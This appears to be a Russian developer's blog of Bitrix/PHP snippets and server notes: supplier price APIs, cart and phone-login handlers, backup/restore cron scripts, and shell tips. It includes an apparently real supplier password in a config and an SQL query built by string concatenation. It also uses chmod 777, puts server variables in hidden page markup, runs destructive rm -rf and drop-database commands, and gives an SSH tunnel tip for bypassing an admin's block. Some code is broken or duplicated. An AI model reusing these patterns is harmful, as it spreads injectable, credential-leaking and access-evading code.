Показаны сообщения с ярлыком bitrix. Показать все сообщения
Показаны сообщения с ярлыком bitrix. Показать все сообщения

пятница, 21 марта 2025 г.

Получаем бренд по парт номеру детали из levam



Получаем бренд по парт номеру детали

<?php

if ((include $_SERVER["DOCUMENT_ROOT"].'/services/include.php') != TRUE) {

    exit;

}

if(isset($_POST['partnum'])) {

    $s = preg_replace('/[^a-zа-яё\d]/ui', '',$_POST['partnum'] );

    $json = BrandsGet($s);

    $obj = json_decode($json);

error_log ("levam.php blyat` ".var_export($obj, true), 0);

    $part = $obj->parts;

    

    header("Content-type: application/json; charset=UTF-8");

    header("Cache-Control: must-revalidate");

    header("Pragma: no-cache");

    header("Expires: -1");

    print json_encode($part);

}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/services/include.php

<?php

class ConfigClass {

    public $levam;

    public $db;

    public $suppliers;

    private function array2obj($data) {

        $object = new stdClass();

        foreach ($data as $key => $val) {

            if (is_array($val)){

                $val = $this->array2obj($val);

            }

            $object->$key = $val;

        }

        return $object;

    }

    public function __construct(Array $data ) {

        foreach ($data as $key => $val){

            if (is_array($val)){

                $this->{$key} = $this->array2obj($val);

            } else 

                $this->{$key} = $val;

        }

    }

}


if(file_exists($_SERVER["DOCUMENT_ROOT"].'/services/.config.php')){

    $config = new ConfigClass(include ($_SERVER["DOCUMENT_ROOT"].'/services/.config.php'));

}


function get_content($URL){

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($ch, CURLOPT_URL, $URL);

    $data = curl_exec($ch);

    curl_close($ch);

    return $data;

}


function BrandsGet($part_number){

    global $config;

    return get_content($config->levam->urlAPI.$config->levam->VersionAPI.

            'BrandsGet?api_key='.$config->levam->api_key.

            '&part_number='.urlencode($part_number).

            '&lang='.$config->levam->lang);

}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


/services/.config.php

<?php

return array(

    'levam' =>

    array(

        'api_key' => "001t1bly'bly'bly'bly'bly'bly'bly'bly'bly'bly'",

        'VersionAPI' => 'v1/',

        'urlAPI' => 'https://am-api.levam.net/',

        'lang' => 'ru',

    ),

    'db' =>

    array(

        'host' => 'localhost',

        'database' => 'bitrix',

        'login' => 'root',

        'password' => 'password',

    ),

);

пятница, 7 марта 2025 г.

Получаем цены на автозапчасти через REST API moskvorechie.ru



HTML

<div class="replacement " value="<?=$value->search_number.";".$value->brand_name?>">

                <div  class="daydeliverysupplier">

                            Доставка:

                </div>

                <div class="kolrest">

                            В наличии

                </div>

                <div class="price">

                              Цена

                </div>

</div>

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

JS

 $(document).ready(function(){

    var Arr='';

    $(".replacement").each(

        function( index, element){

            $(this).on( "getprice"+index, function(event, data) { //добавить событие к каждому .replacement

                if ( typeof(data) !== "undefined" && data !== null && Object.keys(data).length !== 0 ) {

                    if('price' in data){

                        $( this ).find(".price").text( Intl.NumberFormat("ru-RU", { style: "currency", currency: "RUB" }).format(Number(data['price']),) );

                        $( this ).find(".spinner-border").hide();

                        $( this ).find(".kolrest").text("На складе: " + data['kolrest'] + "шт." );

                        $( this ).find(".daydeliverysupplier").text("Доставка: " + (Number(data['daydeliverysupplier']) + 2) + "д." );

                    } else $( this ).hide();

                }else $( this ).hide();

            });

            xData = $.ajax({

                type: 'POST',

                cache: false,

                url: '/services/suppliers/moskvorechie/?'+$( this ).attr("value"),

                data: {partnumbrand: $( this ).attr("value")},

                success: function (data) {

console.log("mos data: ", data);

                    $('.replacement').trigger('getprice'+index, data);

                }

            });

        }

    );

});


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/services/suppliers/moskvorechie/index.php

<?php

if ((include $_SERVER["DOCUMENT_ROOT"].'/services/include.php') != TRUE) { exit;}


function price_by_nr_firm($part_number, $brand_name){

    global $config;

    $url = $config->suppliers->moskvorechie->urlAPI

        . "l=".$config->suppliers->moskvorechie->login_name

        . '&p='.$config->suppliers->moskvorechie->login_password

        . '&act=price_by_nr_firm&v=1'

        . '&nr='.urlencode($part_number)

        . '&f='.urlencode($brand_name)

        . '&cs=utf8';

    $json = get_content($url);

    if (false === $json) {

        echo "error";

        return false;

    }

    $part = json_decode($json);

    return $json;

}


if(isset($_POST['partnumbrand'])) {

    header("Content-type: application/json; charset=UTF-8");

    header("Cache-Control: must-revalidate");

    header("Pragma: no-cache");

    header("Expires: -1");


    $array=array();

    $arr = explode(';', $_POST['partnumbrand']);

    if(count($arr)<2){

        print json_encode($array);

        exit();

    }

    error_log ("moskvorechie arr:  ".var_export($arr, true), 0);

    $c = price_by_nr_firm($arr[0], $arr[1]);

    error_log ("moskvorechie c:  ".var_export($c, true), 0);


    if($c->idtovoemshort!=null){


        if(strcasecmp($c->idtovoemshort, $arr[0]) == 0 and strcasecmp($c->nbrand, $arr[1]) == 0){

            $array[]=array(

                'value'=>$_POST['partnumbrand'],

                'kolrest'=>(string)$c->kolrest,

                'price'=>(string)$c->price,

                'daydeliverysupplier'=>(string)$c->daydeliverysupplier,

                'minpart'=>(string)$c->minpart);

        }

    }else $array[]=array('value'=>$_POST['partnumbrand']);

    print json_encode($array);

}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/services/include.php

<?php


class ConfigClass {

    public $levam;

    public $db;

    public $suppliers;


    private function array2obj($data) {

        $object = new stdClass();

        foreach ($data as $key => $val) {

            if (is_array($val)){

                $val = $this->array2obj($val);

            }

            $object->$key = $val;

        }

        return $object;

    }

    public function __construct(Array $data ) {

        foreach ($data as $key => $val){

            if (is_array($val)){

                $this->{$key} = $this->array2obj($val);

            } else 

                $this->{$key} = $val;

        }

    }

}

if(file_exists($_SERVER["DOCUMENT_ROOT"].'/services/.config.php')){

    $config = new ConfigClass(include ($_SERVER["DOCUMENT_ROOT"].'/services/.config.php'));

}

function get_content($URL){

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($ch, CURLOPT_URL, $URL);

    $data = curl_exec($ch);

    curl_close($ch);

    return $data;

}

}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/services/.config.php

<?php


return array(

     'db' =>

    array(

        'host' => 'localhost',

        'database' => 'bitrix',

        'login' => 'root',

        'password' => 'password',

    ),

    'suppliers' =>

        'moskvorechie' =>

        array(

            'urlAPI' => 'http://portal.moskvorechie.ru/portal.api?',

            'login_name' => 'lunevstes',

            'login_password' => 'hrRqxsfPYr5HARELrEzhkw9ecYwyTa9RPExCGIdeSS9GTSDOeTnx5q4CHzhtAED8',

            'margin'=>'',

            'deliverydays'=>'',

        ),

    ),

);

пятница, 10 января 2025 г.

Bitrix / Добавляем в корзину товар, которого нет в каталоге.

ajax запрос...

$(".cartr").on("click", function() {

        $.ajax({

            type: 'POST',

            cache: false,

            url: '/services/cart/',

            data: {item: $(this).closest('.replacement').attr('value')+';'+$(this).closest('.replacement').find(".price").text()},

            success: function (data) {

                $('.basket-line-block-icon-cart').text(data['count']+" позиции");

                $(this).find("path").css('stroke: #836063;');

            }

    });

        return false;

});



Обработка ajax запрос...

/services/cart/index.php

 <?php

require_once($_SERVER['DOCUMENT_ROOT'] . "/bitrix/modules/main/include/prolog_before.php");

use \Bitrix\Main\Loader;


Loader::includeModule('iblock');

Loader::includeModule('sale');

Loader::includeModule('catalog');


if ((include $_SERVER["DOCUMENT_ROOT"].'/services/include.php') != TRUE) {

    exit;

}


if(isset($_POST['item'])) {

    $json = $_POST['item'];

    header("Content-type: application/json; charset=UTF-8");

    header("Cache-Control: must-revalidate");

    header("Pragma: no-cache");

    header("Expires: -1");

    $arr = explode(';', $json);

    $vowels = array(" ", "₽", " ");

    $siteId = 's1'; // ID сайта, к которому будет привязана корзина

    $basket = \Bitrix\Sale\Basket::create($siteId);


    $item = $basket->createItem('catalog', rand(10000000000, 11000000000));

    $item->setFields([

            'QUANTITY' => '1',

            'CURRENCY' => Bitrix\Currency\CurrencyManager::getBaseCurrency(),

            'LID' => Bitrix\Main\Context::getCurrent()->getSite(),

            'NAME' => $arr[0]." / ".$arr[1],

            'PRICE' => ceil(floatval(str_replace($vowels, "", $arr[2]))),

            'CUSTOM_PRICE' => 'Y',

    ]);

    $b = $basket->save();

    $dbRes = \Bitrix\Sale\Basket::getList(

[

'select' => ['NAME', 'QUANTITY'],

'filter' => [

'=FUSER_ID' => \Bitrix\Sale\Fuser::getId(), 

'=ORDER_ID' => null,

'=LID' => \Bitrix\Main\Context::getCurrent()->getSite(),

'=CAN_BUY' => 'Y',

]

]

    );

    $c=0;

    while ($item = $dbRes->fetch())

    {

        $c++;

    }

    print json_encode(array('result' => $b->isSuccess(), 'count' =>  $c, 'user' => \Bitrix\Sale\Fuser::getId()));

}


понедельник, 25 января 2016 г.

sh скрипт для резервного копирования сайта

Скрипт для резервного копирования сайта. Ссылка на источник https://dev.1c-bitrix.ru/community/blogs/howto/945.php

#!/bin/sh
doc_root=$1
name=$2
if [ -z $doc_root ]; then
   echo Usage: $0 /path/to/document/root [backup_name]
   exit
fi

if [ -z $name ]; then
   name=backup
fi

dbconn=$doc_root/bitrix/php_interface/dbconn.php

readcfg() {
   grep $1 $dbconn | sed 's/.*"\(.*\)".*/\1/'
}

host=`readcfg DBHost`
username=`readcfg DBLogin`
password=`readcfg DBPassword`
database=`readcfg DBName`

utf=`grep 'BX_UTF' $dbconn | grep true`

if [ -z "$utf" ]; then
   charset=cp1251
else
   charset=utf8
fi

backup_dir=$doc_root/bitrix/backup

if [ ! -e $backup_dir ]; then
   mkdir $backup_dir
fi

cd $doc_root && 
mysqldump -h$host -u$username -p$password --default-character-set=$charset $database > $backup_dir/$name.sql && 
tar -cf $backup_dir/$name.tar $backup_dir/$name.sql &&  
rm $backup_dir/$name.sql &&
tar -rf $backup_dir/$name.tar --exclude '*bitrix/tmp/*' --exclude '*bitrix/updates/*' --exclude '*bitrix/backup/*' --exclude '*bitrix/*cache/*' . && 
gzip -f -9 $backup_dir/$name.tar && 
echo OK && exit
echo Error

понедельник, 18 января 2016 г.

Копирование сайта с тестового сервера на удаленный сервер

Захотел заказчик видеть как продвигается его проект.
Настраиваем разворачивание бекапов с рабочего сервера на удаленный.

  • user - это имя Вашего пользователя в системе
  • dbsupersait - имя базы данных сайта

Удаляем старые бэкапы
nano /home/user/cron/delbackup.sh

 #!/bin/bash
 rm /home/user/Yandex.Disk/*.tar.*
 rm /var/www/supersait/bitrix/backup/*.tar.*
 echo "Старые бэкапу удалены"

Добавляем скрипт в cron на тестовом серваке
crontab -eu user
0 20 * * * /home/user/cron/delbackup.sh >> /var/log/watchdog-backup.log

Создаем новый бэкап средствами Bitrix Для этого добавляем еще одно задание в cron на тестовом серваке
crontab -eu user
0 21 * * * php /var/www/supersait/bitrix/modules/main/tools/backup.php  >> /var/log/watchdog-backup.log

Копируем бэкапы в Yandex.Disk
nano /home/user/cron/copyBackup.sh

 #!/bin/bash
 cp /var/www/supersait/bitrix/backup/*.tar.* /home/user/Yandex.Disk/
 chmod 777 /home/user/Yandex.Disk/*.tar.*
 yandex-disk sync
 yandex-disk status
 echo "Копирование бэкапов в облако завершено"
 echo "bacup copy to yandex.disk" | mail -s "copy backup supersait" pochta@gmail.com

Добавляем скрипт в cron на тестовом серваке
crontab -eu user
0 22 * * * /home/user/cron/copyBackup.sh >> /var/log/watchdog-backup.log

И так. На тестовом серваке у нас три задания.
crontab -lu user

 0 21 * * * php /var/www/supersait/bitrix/modules/main/tools/backup.php >>  /var/log/watchdog-backup.log
 0 20 * * * /home/user/cron/delbackup.sh >> /var/log/watchdog-backup.log
 0 22 * * * /home/user/cron/copyBackup.sh >> /var/log/watchdog-backup.log

Теперь на удаленном сервере добавляем скрипт разворачивания сайта в крон
nano /home/user/cron/restorebitrix.sh

 #!/bin/bash
 FILE=$(date +"%Y%d%m_%H%M")
 yandex-disk sync >> /var/log/siterestore/$FILE.log
 yandex-disk status >> /var/log/siterestore/$FILE.log
 chmod 777 /home/user/Yandex.Disk/*.tar.* >> /var/log/siterestore/$FILE.log
 echo "Копирование бэкапов в облако завершено" >> /var/log/siterestore/$FILE.log
 echo "bacup copy to yandex.disk" | mail -s "copy backup supersait" pochta@gmail.com

 rm -rf /var/www/supersait >> /var/log/siterestore/$FILE.log
 echo "Удален корневой каталог сайта" >> /var/log/siterestore/$FILE.log

 mysql -u root -pпароль -e "show databases" >> /var/log/siterestore/$FILE.log
 echo "Удаление Базы MySQL" >> /var/log/siterestore/$FILE.log
 mysql -u root -pпароль -e "drop database dbsupersait" >> /var/log/siterestore/$FILE.log
 mysql -u root -pпароль -e "show databases" >> /var/log/siterestore/$FILE.log
 echo "Создаем новую базу MySQL" >> /var/log/siterestore/$FILE.log
 mysql -u root -pпароль -e "create database dbsupersait" >> /var/log/siterestore/$FILE.log

 mkdir /var/www/supersait >> /var/log/siterestore/$FILE.log
 echo "Создан каталог кореня сайта с владелбцем www-data:www-data и правами 7777" >> /var/log/siterestore/$FILE.log
 echo "Копируем бекап в корень сайта" >> /var/log/siterestore/$FILE.log

 cp /home/user/Yandex.Disk/*.tar.* /var/www/supersait >> /var/log/siterestore/$FILE.log
 chown -hR www-data:www-data /var/www/supersait >> /var/log/siterestore/$FILE.log
 chmod -R 777 /var/www/supersait >> /var/log/siterestore/$FILE.log
 cd /var/www/supersait >> /var/log/siterestore/$FILE.log
 echo "Извлечение из архива" >> /var/log/siterestore/$FILE.log
 cat *.* | tar xzv >> /var/log/siterestore/$FILE.log
 echo "восстановление дампа базы данных" >> /var/log/siterestore/$FILE.log
 mysql -u root -pпароль dbsupersait < /var/www/supersait/bitrix/backup/*full_????????.sql

 sed 's/'"'"'database.*/'"'"'database'"'"' => '"'"'dbsupersait'"'"',/g' /var/www/supersait/bitrix/.settings.php > .settings.php
 mv .settings.php /var/www/supersait/bitrix/.settings.php
 sed 's/'"'"'login.*/'"'"'login'"'"' => '"'"'root'"'"',/g' /var/www/supersait/bitrix/.settings.php > .settings.php
 mv .settings.php /var/www/supersait/bitrix/.settings.php
 sed 's/'"'"'password.*/'"'"'password'"'"' => '"'"'пароль'"'"',/g' /var/www/supersait/bitrix/.settings.php > .settings.php
 mv .settings.php /var/www/supersait/bitrix/.settings.php

 sed 's/$DBLogin.*/$DBLogin = "root";/g' /var/www/supersait/bitrix/php_interface/dbconn.php > dbconn.php
 mv dbconn.php /var/www/supersait/bitrix/php_interface/dbconn.php >> /var/log/siterestore/$FILE.log
 sed 's/$DBName.*/$DBName = "dbsupersait";/g' /var/www/supersait/bitrix/php_interface/dbconn.php > dbconn.php
 mv dbconn.php /var/www/supersait/bitrix/php_interface/dbconn.php >> /var/log/siterestore/$FILE.log
 sed 's/$DBPassword.*/$DBPassword = "пароль";/g' /var/www/supersait/bitrix/php_interface/dbconn.php > dbconn.php
 mv dbconn.php /var/www/supersait/bitrix/php_interface/dbconn.php >> /var/log/siterestore/$FILE.log

 echo "Удаление служебной информации" >> /var/log/siterestore/$FILE.log
 rm /var/www/supersait/*.tar.* >> /var/log/siterestore/$FILE.log
crontab -eu user

На удаленном серваке у нас одно задание.
crontab -lu user
0 23 * * * /home/user/cron/restorebitrix.sh >> /var/log/wathcdog-backup.log

понедельник, 30 ноября 2015 г.

Часто используемые команды и конструкции при разработке на Bitrix

Вывод массива php

Часто есть необходимость посмотреть что содержит переменная или массив. Ниже несколько вариантов как это можно сделать, в том числе незаметно для посетителей сайта.

<div style="display: none;"><? echo json_encode($arResult['ITEMS']);?></div>
<textarea style="display: none;"><? echo var_export($arResult['ITEMS']);?></textarea&gt
<?global $USER; if($USER->isAdmin()){echo ‘<pre>’;print_r($array);echo ‘</pre>}?>
<? echo "<pre>"; print_r ($arResult); echo "</pre>"; ?>
<?echo "<pre style='display: inline;'>"; print_r(get_defined_vars());echo "</pre>";?> //вывод массива всех определенных серверных и пользовательских переменных

Запись массива в файл или лог Apache

Если нет возможности вывести массив на страницу, то можно записать его в файл

$current = file_get_contents($_SERVER['DOCUMENT_ROOT'].'/log.txt');

$current .= "John Smith\n";

$current .= var_export($_SESSION, true);

file_put_contents($file, $current);


или лог Apache


error_log ("blyat` ".var_export($arStatus, true), 0);
error_log ("blyat` ".var_export($arStatus, true), 1, "wer@mail.ru")

Вывод лога в реальном времени.

tail -f /var/log/syslog

Работа с базой

Посмотреть какие запросы идут в базу можно так:
В терминале
mysql -uroot -p
пароль
затем
SHOW PROCESSLIST;

Прямое обращение к базе работает на много быстрее чем через API битрикса.

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/php_interface/dbconn.php");
$db=new PDO($DBType.':host='.$DBHost.';dbname='.$DBName, $DBLogin, $DBPassword);
$db->query("SET CHARACTER SET utf8");
$res=$db->prepare(" SELECT VALUE FROM `b_iblock_element_property`  WHERE (`IBLOCK_PROPERTY_ID`='3847' and `IBLOCK_ELEMENT_ID` LIKE '%".$item['id']."%')");
 $res->execute();// выборка из базы возвращает код товара поставщика по внутреннему коду товара
 if($row=$res->fetch()){
  if ($row<1){error_log ("пусто", 0);}
  else  echo $row[0];
 }

Интерактивная консоль php

Проверить код можно в интерактивной консоли php. Для этого в терминале нужно запустить команду 
php -a

SSH

Монтируем файловую систему удаленного сервера к своей
sshfs user@domen.ru:/ /media/sshfsdomen.ru -o reconnect

Если злобный админ закрыл куда-нибудь доступ
sudo ssh -D 777 user@domen.ru
получаем socks сервер на localhost:777

Просмотр лога в реальном времени.
ssh myyser@site.ru tail -f /var/log/nginx/error.log

Посмотреть кто зашел
who

Проверка свободного места на диске

Куда делось место на диске покажет команда
df -h
du -| grep "[0-9]M" | sort --r

Работа с архивами

Распаковать бэкап битрикса можно командой<
sudo cat *.* | tar xzv

Поиск куска кода

sudo find -type f -name '*.php' | xargs grep -l "echo '$aritem" --color

Задать права на файлы рекурсивно

sudo chmod -R 777 /bitrix/templates/newtempl

Дамп TCP

tcpdump -vX -i eth0 port 80

Смотрим подключения

netstat -tap | grep nginx


fail2ban iptables

Забаннить
iptables -I INPUT -j DROP -s 58.40.10.2
iptables -I INPUT -m iprange --src-range 5.143.231.0-5.143.231.255 -j DROP


Алиасы .bashrc или в .bash_aliases для быстрого банна
alias ban=’iptables -I INPUT -j DROP -s’
alias unban=’iptables -D INPUT -j DROP -s’


Список забанненых
iptables-saveили
iptables -L -n -v --line-numbers


Удалить ip из банна
iptables -D fail2ban-ssh -j DROP -s 46.20.67.32/32
iptables -D fail2ban-ssh 1

Остановить, запустить файрвол.
service ufw stop
service ufw start


Сохраняем правила файрвола.
iptables-save > /etc/iptables.rules


Восстанавливаем правила.
iptables-restore < /etc/iptables.rules

Часто используемые команды и конструкции при разработке на Bitrix

Вывод массива php

Часто есть необходимость посмотреть что содержит переменная или массив. Ниже несколько вариантов как это можно сделать, в том числе незаметно для посетителей сайта.

<div style="display: none;"><? echo json_encode($arResult['ITEMS']);?></div>
<textarea style="display: none;"><? echo var_export($arResult['ITEMS']);?></textarea&gt
<?global $USER; if($USER->isAdmin()){echo ‘<pre>’;print_r($array);echo ‘</pre>}?>
<? echo "<pre>"; print_r ($arResult); echo "</pre>"; ?>
<?echo "<pre style='display: inline;'>"; print_r(get_defined_vars());echo "</pre>";?> //вывод массива всех определенных серверных и пользовательских переменных

Запись массива в файл или лог Apache

Если нет возможности вывести массив на страницу, то можно записать его в файл

$current = file_get_contents($_SERVER['DOCUMENT_ROOT'].'/log.txt');

$current .= "John Smith\n";

$current .= var_export($_SESSION, true);

file_put_contents($file, $current);


или лог Apache


error_log ("blyat` ".var_export($arStatus, true), 0);
error_log ("blyat` ".var_export($arStatus, true), 1, "wer@mail.ru")

Вывод лога в реальном времени.
tail -f /var/log/syslog

Работа с базой

Посмотреть какие запросы идут в базу можно так:
В терминале
mysql -uroot -p
пароль
затем
SHOW PROCESSLIST;

Прямое обращение к базе работает на много быстрее чем через API битрикса.

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/php_interface/dbconn.php");
$db=new PDO($DBType.':host='.$DBHost.';dbname='.$DBName, $DBLogin, $DBPassword);
$db->query("SET CHARACTER SET utf8");
$res=$db->prepare(" SELECT VALUE FROM `b_iblock_element_property`  WHERE (`IBLOCK_PROPERTY_ID`='3847' and `IBLOCK_ELEMENT_ID` LIKE '%".$item['id']."%')");
 $res->execute();// выборка из базы возвращает код товара поставщика по внутреннему коду товара
 if($row=$res->fetch()){
  if ($row<1){error_log ("пусто", 0);}
  else  echo $row[0];
 }

Интерактивная консоль php

Проверить код можно в интерактивной консоли php. Для этого в терминале нужно запустить команду 
php -a

SSH

Монтируем файловую систему удаленного сервера к своей
sshfs user@domen.ru:/ /media/sshfsdomen.ru -o reconnect

Если злобный админ закрыл куда-нибудь доступ
sudo ssh -D 777 user@domen.ru
получаем socks сервер на localhost:777

Просмотр лога в реальном времени.
ssh myyser@site.ru tail -f /var/log/nginx/error.log

Посмотреть кто зашел
who

Проверка свободного места на диске

Куда делось место на диске покажет команда
df -h
du -| grep "[0-9]M" | sort --r

Работа с архивами

Распаковать бэкап битрикса можно командой<
sudo cat *.* | tar xzv

Поиск куска кода

sudo find -type f -name '*.php' | xargs grep -l "echo '$aritem" --color

Задать права на файлы рекурсивно

sudo chmod -R 777 /bitrix/templates/newtempl

Дамп TCP

tcpdump -vX -i eth0 port 80

Смотрим подключения

netstat -tap | grep nginx


fail2ban iptables

Забаннить
iptables -I INPUT -j DROP -s 58.40.10.2
iptables -I INPUT -m iprange --src-range 5.143.231.0-5.143.231.255 -j DROP


Алиасы .bashrc или в .bash_aliases для быстрого банна
alias ban=’iptables -I INPUT -j DROP -s’
alias unban=’iptables -D INPUT -j DROP -s’


Список забанненых
iptables-saveили
iptables -L -n -v --line-numbers


Удалить ip из банна
iptables -D fail2ban-ssh -j DROP -s 46.20.67.32/32
iptables -D fail2ban-ssh 1

Остановить, запустить файрвол.
service ufw stop
service ufw start


Сохраняем правила файрвола.
iptables-save > /etc/iptables.rules


Восстанавливаем правила.
iptables-restore < /etc/iptables.rules

четверг, 26 ноября 2015 г.

Bitrix: пример вывода картинки элемента

Вывода изображения на из карточки товара например в шаблоне письма или списке заказов

<?

if (CModule::IncludeModule('iblock')) {

 if ($arProduct = CIBlockElement::GetByID($item["PRODUCT_ID"])->Fetch()) {

  if ($arProduct['PREVIEW_PICTURE'] > 0) {

   $fileID = $arProduct['PREVIEW_PICTURE'];

  } elseif ($arProduct['DETAIL_PICTURE'] > 0) {

   $fileID = $arProduct['DETAIL_PICTURE'];

  } else {

   $fileID = 0;

  }

   $arPicture = CFile::ResizeImageGet($fileID, array('width' => 100, 'height' => 100));

   $arPicture['SIZE'] = getimagesize($_SERVER['DOCUMENT_ROOT'].$arPicture['src']);

 }

}?>


<img src="<?=$arPicture['src']?>" alt="image" />

понедельник, 26 октября 2015 г.

Bitrix: Проверка наличия товара на складах.


 <?

//////////////// проверка наличия товара на складах ///////////////////////////////

if(CModule::IncludeModule('catalog')){

 $resStore = CCatalogStore::GetList(array(),array("ACTIVE" => "Y", "TITLE" => "Склад ".$_SESSION["city"]),false,false,array());

 $sklad = $resStore->Fetch();

 $arFilter = Array('PRODUCT_ID' =>$arItem["PRODUCT_ID"], 'STORE_ID' => $sklad["ID"]);

 $rsStore = CCatalogStoreProduct::GetList(array(), $arFilter, false, false, array('AMOUNT'));

 if ($arStore = $rsStore->Fetch())

 {

  $RegionStore = $arStore['AMOUNT'];///////////// наличие в региональном складе

 }

 $resStore = CCatalogStore::GetList(array(),array("ACTIVE" => "Y", "TITLE" => "Склад Центральный"),false,false,array());

 $sklad = $resStore->Fetch();

 $arFilter = Array('PRODUCT_ID' =>$arItem["PRODUCT_ID"], 'STORE_ID' => $sklad["ID"]);

 $rsStore = CCatalogStoreProduct::GetList(array(), $arFilter, false, false, array('AMOUNT'));

 if ($arCentrStore = $rsStore->Fetch())

 {

  $CentrStore = $arStore['AMOUNT'];///////////// наличие на центральном складе

 }

}

?>

вторник, 20 октября 2015 г.

Bitrix. Очистить корзину. Ajax.

Шаблон формы авторизации:


<a href="#" class="delete-cart-link">очистить корзину</a>

Ajax скрипт:


$(document).ready(function (){

 $.ajax({
  type: 'POST',
  url: "/include/cart.php",
  data: {mode:'delcart'},
  dataType: 'json',
  success: function(result){
   if(result.status){
    location.href = "/personal/cart/";
    return false;
   }
  },
 });
});

Обработчик /include/cart.php


<?

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

$result = array();

$result['status'] = false;

$result['message'] = '';



if (isset($_POST['mode'])){

 $mode=htmlspecialcharsbx($_POST['mode']);

 switch($mode)

 {

 case 'delcart':

  CModule::IncludeModule("sale");

  CSaleBasket::DeleteAll($_SESSION["SALE_USER_ID"]);

  $result['status']=true;

  break;

 }

}



exit(json_encode($result));



require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");

понедельник, 19 октября 2015 г.

Bitrix. Авторизация по номеру телефона



Шаблон формы авторизации:


 <form id="fnt" name="system_auth_form<?=$arResult['RND']?>" method="post" target="_top" action="#"  data-ajax-href="/include/auth.php">

  <input type="hidden" name="mode" value="login" />

  <?if (strlen($arParams["BACKURL"]) > 0 || strlen($arResult["BACKURL"]) > 0):?>

  <input type="hidden" name="backurl" value="<?=($arParams["BACKURL"] ? $arParams["BACKURL"] : $arResult["BACKURL"])?>" />

  <?endif?>

  <input type="text" name="USER_LOGINt" maxlength="255" required placeholder="+7">

  <input type="password" name="USER_PASSWORD" maxlength="255">

  <input type="checkbox"  name="USER_REMEMBER" id="USER_REMEMBER" checked>

  <input type="submit" name="Login" class="" value="вход" />

 </form>


Ajax скрипт:


$(document).ready( function(){

  var form_item5 = $('#fnt');

  form_item5.validate({

   rules: {

    USER_LOGIN: {required: true}

   },

   messages: {USER_LOGIN: 'Ошибка в форме'},

   errorClass: 'error',

   validClass: 'valid',

   invalidHandler: function(event, validator) {},

   errorPlacement: function(error, element) {

    var cur = element;

    error.addClass('error-message').insertAfter(cur);

   },

   submitHandler: function(form,event) {

     var msgdata=$("#fnt").serialize();

     $.ajax({

      type: 'POST',

      url: form_item5.attr('data-ajax-href'),

      data: msgdata,

      dataType: 'json',

      success: function(result){

       if(result.status){

        $.fancybox.open('<div  id="popup-success">\

        <div class="title">Здравствуйте '+result.message+'!</div>\

        </div>',{wrapCSS: 'fancybox-popup', padding: ['0','0','0','0'], closeClick  : false,'beforeClose': function() { location.href = result.backurl; }, hideOnContentClick: false });

        form_item5.get(0).reset();

        form_item5.find('.valid').removeClass('valid');

       }

      }

     });

     event.preventDefault();

   }

  });

});


Обработчик /include/auth.php



<?

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");



global $USER;

if(!is_object($USER)) $USER = new CUser;

$result = array();

$result['status'] = false;

$result['message'] = '';

if (isset($_POST['mode'])){

 $mode=htmlspecialcharsbx($_POST['mode']);

 switch($mode)

 {

 case 'login':

  if(!$USER->IsAuthorized())

  {

   $user_tel = htmlspecialcharsbx($_POST['USER_LOGINt']);

   $filter = Array("PERSONAL_PHONE" => $user_tel);

   $sql = CUser::GetList(($by="id"), ($order="desc"), $filter);

   if($sql->NavNext(true, "f_"))

   {

    if($_POST['USER_REMEMBER']=="on") $rem="Y"; else $rem="N";

    $arAuthResult = $USER->Login($f_LOGIN, $_POST['USER_PASSWORD'], $rem);

    $result['status']=true;

    $result['message']=$f_NAME;

    $result['backurl']=$_POST['backurl'];

    $APPLICATION->arAuthResult = $arAuthResult;

   }

  }

  break;

 }

}

exit(json_encode($result));
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");

пятница, 16 октября 2015 г.

Авторегистрация пользователя (продолжить без регистрации)



 if ($arResult["POST"]["~WITHOUTREG"]==1)
{
$login='User'.bitrix_sessid();
$pwd='Pwd'.bitrix_sessid();
$email=bitrix_sessid().'_autoReg';
$name='';
$lastname='';
COption::SetOptionString("main","captcha_registration","N");
COption::SetOptionString("main","new_user_registration_email_confirmation","N");
$arAuthResult = $USER->Register($login,"","",$pwd,$pwd,$email);
LocalRedirect($arParams["PATH_TO_ORDER"]);
COption::SetOptionString("main","captcha_registration","Y");
COption::SetOptionString("main","new_user_registration_email_confirmation","Y");
}

вторник, 13 октября 2015 г.

Bitrix. Фильтр товаров по дате

Создаем свойство для времени. У меня это PROPERTY_2174 и поехали...
global $arrFilter;
if (!is_array($arrFilter)) $arrFilter = array();
$arrSale=array('broken_package'=>'Нарушена упаковка','damage'=>'Царапина на корпусе','broken_complect'=>'Нарушена комплектность','defect'=>'Брак');
if(isset($_GET['tab'])){
 if($_GET['tab']=='new') {$arrFilter=array_merge($arrFilter, array('>PROPERTY_2174' => array ( 0 => date("Y-m-d 00:00:00", strtotime('-14 day'))), '<=PROPERTY_2174' => array ( 0 => date("Y-m-d 00:00:00"))));}
 if($_GET['tab']=='hit') {$arrFilter=array_merge($arrFilter, array("=PROPERTY_1990" => array ( 0 => '163', ))); }
 
}
?>
IncludeComponent(
 "bitrix:catalog", 
 "catalog", 
 array(
  "IBLOCK_TYPE" => "offers",
  "IBLOCK_ID" => $ib["ID"],
  "TEMPLATE_THEME" => "site",
  ...
  "FILTER_NAME" => "arrFilter",
  ...
 ),
 false
);


суббота, 10 октября 2015 г.

Сохранение значения свойств элемента информационного блока.



require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$ELEMENT_ID = 97517;  // код элемента
$PROPERTY_CODE = "HIT";  // код свойства
$PROPERTY_VALUE = 163;  ///"Y";  // значение свойства
$IBLOCK_ID = 241;

//вывод праметров элемента
$res = CIBlockElement::GetByID($ELEMENT_ID);
echo "".var_export($res->GetNext())."";
//end вывод праметров элемента

